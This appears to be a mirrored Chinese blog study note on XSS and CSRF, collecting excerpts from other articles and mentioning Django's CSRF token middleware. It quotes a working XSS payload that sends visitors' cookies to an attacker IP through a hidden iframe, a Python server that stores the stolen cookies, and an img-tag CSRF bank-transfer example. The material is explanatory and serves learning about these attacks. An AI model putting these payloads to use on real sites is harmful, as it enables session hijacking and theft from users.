zoukankan      html  css  js  c++  java
  • 【实习记】2014-08-23网络安全XSS与CSRF总结

     
     

    XSS:脚本中的不速之客
    XSS:跨站脚本(Cross-site scripting)
    CSRF:冒充用户之手
    CSRF:跨站请求伪造(Cross-site request forgery)


    谷歌搜索到几篇好文章。

    《XSS CSRF 攻击》
    http://www.cnblogs.com/siqi/archive/2012/11/19/2777224.html

    XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。

    请求令牌(一种简单有效的防御方法)。

    (本人):
    django默认使用这种方法,之前图方便关闭了该middle,花一几个小时将它开启,本身也是学习CSRF的方式。




    《XSS、CSRF漏洞及如何测试介绍》
    http://www.diggerplus.org/archives/2099

    XSS攻击:
    非持久型 = 反射型XSS漏洞,比较被动,用户点击特定构造url后生效。
    持久性 = 保存型XSS漏洞,储存与数据库。
    基于DOM的XSS漏洞原理:主要是转送和劫持会话session




    《总结 XSS 与 CSRF 两种跨站攻击》
    https://blog.tonyseek.com/post/introduce-to-xss-and-csrf/
    例子,攻击方的接受器,XSS注入内容:

    #!/usr/bin/env python
    #-*- coding:utf-8 -*-
    
    """
    跨站脚本注入的信息收集服务器
    """
    
    import bottle
    
    app = bottle.Bottle()
    plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
    app.install(plugin)
    
    @app.route('/myxss/')
    def show(cookies, db):
        SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
        try:
            db.execute(SQL, cookies)
        except:
            pass
        return ""
    
    if __name__ == "__main__":
        app.run()
    




    // 用 <script type="text/javascript"></script> 包起来放在评论中

    (function(window, document) {
        // 构造泄露信息用的 URL
        var cookies = document.cookie;
        var xssURIBase = "http://192.168.123.123/myxss/";
        var xssURI = xssURIBase + window.encodeURI(cookies);
        // 建立隐藏 iframe 用于通讯
        var hideFrame = document.createElement("iframe");
        hideFrame.height = 0;
        hideFrame.width = 0;
        hideFrame.style.display = "none";
        hideFrame.src = xssURI;
        // 开工
        document.body.appendChild(hideFrame);
    })(window, document);
    


    每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。




    《漏洞科普:对于XSS和CSRF你究竟了解多少》
    http://sbqing.com/archives/1487.html
    http://www.bugsec.org/986.html
    示例1:
    银行网站A,它以GET请求来完成银行转账的操作,如:

    http://www.mybank.com/Transfer.php?toBankId=11&money=1000
    1
        
    http://www.mybank.com/Transfer.php?toBankId=11&money=1000

    危险网站B,它里面有一段HTML的代码如下:
    <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
    1
        
    <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

     

        首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块……
    为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作……





    《关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)》
    http://cnodejs.org/topic/50463565329c5139760c34a1
    图片注入,有些sns社区可以让用户自己上传图片,然后填写ref属性或者title属性,这些属性往往会成为注入点,如果应用程序文件名没有修改的话也可能被注入。更有胜者,在新版本的discuz中,用户可以分享照片还可以查看照片的exif信息,比如光圈相机型号等等,有达人用软件修改了exif信息,在里面嵌入恶意js代码,然后吸引用户查看exif信息。

     
  • 相关阅读:
    优秀的3D游戏开发系统和虚拟现实技术!
    C#反射实例(转)
    网易学院
    static 并发
    设计模式Strategy 策略模式
    1:统一建模语言UML轻松入门基本概念
    标准CSS 列表写法
    超级简单:ASP.NET Localization (本地化,多语言)
    js用escape()轻松搞定ajax post提交汉字的乱码问题
    认识.NET的集合
  • 原文地址:https://www.cnblogs.com/weishun/p/tencent-shixi-2014-08-23-xss-csrf.html
Copyright © 2011-2022 走看看